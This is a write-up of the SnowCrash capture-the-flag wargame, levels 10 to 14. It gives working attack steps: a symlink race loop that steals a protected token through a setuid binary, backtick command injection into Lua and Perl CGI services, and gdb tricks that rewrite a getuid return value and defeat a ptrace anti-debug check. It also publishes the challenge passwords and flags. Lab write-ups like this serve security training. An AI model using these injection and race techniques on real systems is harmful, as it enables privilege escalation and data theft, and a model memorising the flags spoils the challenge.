level10@SnowCrash:~$ ./level10 ^C
level10@SnowCrash:~$ ltrace ./level10 asdf
__libc_start_main(0x80486d4, 2, 0xbffff7e4, 0x8048970, 0x80489e0 <unfinished ...>
printf("%s file host\n\tsends file to ho"..., "./level10"./level10 file host
        sends file to host if you have access to it
)                = 65
exit(1 <unfinished ...>
+++ exited (status 1) +++
level10@SnowCrash:~$ ./level10 asdf
./level10 file host
        sends file to host if you have access to it
level10@SnowCrash:~$ ./level10 ./level10 asdf

I wanted to get to know more about this mechanism so I opened another terminal to act as my server using nc -l 0.0.0.0 6969

In my original terminal, I sent a test file to 127.0.0.1 to see its behaviour

Original terminal:

level10@SnowCrash:/dev/shm$ ./level10 script.py 127.0.0.1
Connecting to 127.0.0.1:6969 .. Connected!
Sending file .. wrote file!
level10@SnowCrash:/dev/shm$

Other terminal:

level10@SnowCrash:~$ nc -l 0.0.0.0 6969
.*( )*.
bytes = [102,52,107,109,109,54,112,124,61,130,127,112,130,110,131,130,68,66,131,68,117,123,127,140,137] # get from od -t u1
for x, byte in enumerate(bytes) :
    bytes[x] -= x
print(''.join(chr(i) for i in bytes))

level10@SnowCrash:~$

Looks like the file gets sent in plaintext, now I gotta find a way to access the file to get it sent through. The ltrace shows this line before the file gets read, so I went to see what it is about in the man page.

access("token", R_OK)                   = -1 EACCES (Permission denied)

as it turns out, there is a warning about a security hole

Warning: Using these calls to check if a user is authorized to,
for example, open a file before actually doing so using open(2)
creates a security hole, because the user might exploit the short
time interval between checking and opening the file to manipulate
it. For this reason, the use of this system call should be
avoided. (In the example just described, a safer alternative
would be to temporarily switch the process's effective user ID to
the real ID and then call open(2).)

This means that we can change the file behaviour after access has been called, and before open has been called. We need to change the file in such a way that it passes the first access call and opens the token file on the open call.

And since we couldnt do anything to stop or pause the execution externally, we will need to do the file operation alot of times in succession, hoping that the timing reaches our favour.

The operations which we will do to the file is to

  1. create a link to a readable file
  2. remove the link
  3. create a link to the non readable file
  4. remove the link

Hopefully, when we continiously run the application in another thread, the access will run before step 2, and open will run before step 4.

We made a script to do the linking operations

echo stuff > /dev/shm/stuff while true do ln -s /dev/shm/stuff /tmp/link rm -f /tmp/link ln -s /home/user/level10/token /tmp/link rm -f /tmp/link done

Also another script to run the program in a loop

while true do /home/user/level10/level10 /tmp/link 127.0.0.1 done

The following link will start a local server that listens to a port and restarts everytime a connection closes nc -lk 0.0.0.0 6969

Do the following in order :

  1. Run the server
  2. Run the linking script
  3. Run the program loop

You should able to see the value of token sometimes in the server output.

The value of the token is woupa2yuojeeaaed06riuj63c, which is the password for flag10. The getflag output for that user is feulo4b72j7edeahuete3no7c

level11

Here are the enumeration results

level11@SnowCrash:~$ file level11.lua
level11.lua: setuid setgid a lua script, ASCII text executable

We are presented with a lua file, here is the code.

#!/usr/bin/env lua local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 5151)) function hash(pass) prog = io.popen("echo "..pass.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local l, err = client:receive() if not err then print("trying " .. l) local h = hash(l) if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then client:send("Erf nope..\n"); else client:send("Gz you dumb*\n") end end client:close() end

Looks like the code is already running in a server of port 5151 on localhost, and it reads data from the body, put it through the hash function and sends a respose.

However, looking at the code, we can deduce that there is no point trying to crack the encryption since we cant inject anything into the response. We can however, use command substitution and output the result in a file, and thats what we did

`getflag > /dev/shm/flag`

we got the flag in /dev/shm/flag fa6v5ateaw21peobuub8ipe6s

level12

Here are the enumeration results

level12@SnowCrash:~$ file level12.pl
level12.pl: setuid setgid a perl script, ASCII text executable

We are presented with a perl file, here is the code.

#!/usr/bin/env perl # localhost:4646 use CGI qw{param}; print "Content-type: text/html\n\n"; sub t { $nn = $_[1]; $xx = $_[0]; $xx =~ tr/a-z/A-Z/; $xx =~ s/\s.*//; @output = `egrep "^$xx" /tmp/xd 2>&1`; foreach $line (@output) { ($f, $s) = split(/:/, $line); if($s =~ $nn) { return 1; } } return 0; } sub n { if($_[0] == 1) { print(".."); } else { print("."); } } n(t(param("x"), param("y")));

Much like the last level, it seems like the code is already running in a server of port 4646 on localhost.
There are 2 query parameters, namely "x" and "y", which are passed to the function t. The function uses regex to convert alphabets to uppercase and keeps only the first word.
"x", now formatted, is used to egrep the file "/tmp/xd" and redirects stderr to stdout.
The rest of the code checks if the output matches the param "y" and prints 1 or 2 dots.

Our first instinct is to utilize command substitution, but putting the whole command wouldn't work, as the "x" parameter is trimmed to the first word.
To bypass that, we can run the entire command in a script that has a fully uppercase name, like "FLAGGETTER", and substitute that instead.

/dev/shm/FLAGGETTER

#!/bin/bash getflag > /dev/shm/flag

In order to run the script as a command, we have to add the directory that contains the script to the PATH env variable.

export PATH=/dev/shm:$PATH

Now we can try to pass the command substitution to the server via curl.

curl "127.0.0.1:4646?x=\`flaggetter\`&y=y"

Hmm seems like the flag file wasn't created, what is the error here?

We were stuck here for quite a while, thinking there were problems elsewhere.
We continued to test and in the end, we realized that the updated PATH doesn't carry over to other users.
To resolve the issue, we can use absolute path to run the script.

curl "127.0.0.1:4646?x=\`/*/*/flaggetter\`&y=y"

There we go, the flag file is now created at /dev/shm/flag and it contains the flag g1qKMiRpXf53AWhDaU7FEkczr

level13

We are greeted by a setuid elf executable, and here are the enumeration results

level13@SnowCrash:~$ file *
level13: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xde91cfbf70ca6632d7e4122f8210985dea778605, not stripped
level13@SnowCrash:~$ ltrace ./level13
__libc_start_main(0x804858c, 1, 0xbffff7f4, 0x80485f0, 0x8048660 <unfinished ...>
getuid()                                                                  = 2013
getuid()                                                                  = 2013
printf("UID %d started us but we we expe"..., 2013UID 2013 started us but we we expect 4242
)                       = 42
exit(1 <unfinished ...>
+++ exited (status 1) +++
level13@SnowCrash:~$

The executable calls getuid to get the current user id which is the uid of level13, and it checks the return value and compares it to 4242.

We couldnt really get more out of this by using tracing programs, so we went to try to modify the uid and made a C program that does so

#include <unistd.h>
#include <sys/types.h>

int main() {
   uid_t uid = 1000; // Set the desired UID

   // Change the current UID to the specified UID
   if (setuid(uid) == -1) {
       perror("setuid");
       return 1;
   }

   return 0;
}

However, our user is not root so this code will fail with error EPERM. We also tried looking into exploits in the getuid() function itself and couldnt find any.

Without any other choices, our only option left is to manipulate register values to bypass the check during the programs runtime using gdb.

We launched gdb with the program name gdb ./level13 and it brings us to the gdb shell. On another terminal, we run the command tty to get the tty device, so that gdb can send the stdout to that device during debugging.

On the gdb shell, we first assign the output tty to the device we see just now by running tty /dev/pts{id}.

Once its done, we will make a breakpoint at the getuid function of the code because we want to make changes around that function by using b getuid.

We then enable register and assembly view by doing layout asm and layout reg.

Once we see the layouts, we can type run to start the debugging.

We will have to step-in until we see the return instruction to change the register values, we use the command stepi

Notice we are at the ret instruction, which is the assembly instrction for return. It will read the value in eax and return to the caller. It is at this point we want to change the value of eax to 4242.

set $eax=0x1092

and to continue the program execution till the process ends, use continue. In the other terminal, you should see the flag 2A31L79asukciNyi8uppkEuSx

level14

This is a mystery, there are no files in the home directory and nothing created by flag14 user in the system that I can see

level14@SnowCrash:~$ find / -user flag14 2>/dev/null
level14@SnowCrash:~$ ls
level14@SnowCrash:~$

the output of top -U flag14 did not show any processes either

I think this means we gotta do everything ourselves now..

Since we used gdb in the last round to change the uid to 4242, maybe we can do the same to getflag, we can change the uid to the uid of flag14, which is according to /etc/passwd, 3014.

I set the breakpoint at getuid, but looks like I got caught red handed

So what if i set the breakpoint at ptrace? Will I be able to bypass this?

Turns out I can, I adjusted the return value to a sucess value in ptrace and I managed to get to getuid. The rest is the same as the last level, and I managed to get the flag 7QiHafiNa3HVozsaXkawuYrTstxbpABHD8CPnHJ